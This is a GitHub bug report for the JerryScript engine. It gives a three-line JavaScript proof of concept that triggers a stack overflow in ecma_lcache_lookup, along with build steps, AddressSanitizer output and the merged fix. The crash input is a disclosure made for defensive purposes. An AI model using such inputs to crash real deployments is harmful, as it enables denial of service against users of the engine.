Stack-overflow in ecma_lcache_lookup (ecma-lcache.c) #4890

Closed hope-fly opened this issue on Dec 9, 2021 · 0 comments · Fixed by #4899

Assignees

Labels stack-overflow

hope-fly commented on Dec 9, 2021 • edited

JerryScript revision

Commit: 51da1551

Version: v3.0.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --lo
```

Test case

```
let array = new Array(1);
array.splice(1, 0, array);
array.flat(Infinity);
```

Execution steps & Output

```
$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==26613==ERROR: AddressSanitizer: stack-overflow on address 0xff535ffc (pc 0x5661347c bp 0xff536090 s
    #0 0x5661347b in ecma_lcache_lookup /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144
    #1 0x569cde1f  (/root/jerryscript/build/bin/jerry+0x477e1f)

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144 in
==26613==ABORTING
```

Credits: Found by OWL337 team.

rerobika self-assigned this on Dec 9, 2021

rerobika added the stack-overflow label on Dec 9, 2021

rerobika added a commit to rerobika/jerryscript that referenced this issue on Dec 9, 2021

`Add stack-overflow check for Array.prototype.{flat, flatMap}` … ✗ `99c81be`

rerobika mentioned this issue on Dec 9, 2021

Add stack-overflow check for Array.prototype.{flat, flatMap} #4899

Merged

ossy-szeged closed this as completed in #4899 on Dec 15, 2021

ossy-szeged pushed a commit that referenced this issue on Dec 15, 2021

`Add stack-overflow check for Array.prototype.{flat, flatMap} (#4899)` … ✓ `bcc711e`

Assignees

rerobika

Labels

stack-overflow

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

Add stack-overflow check for Array.prototype.{flat, flatMap}
rerobika/jerryscript

2 participants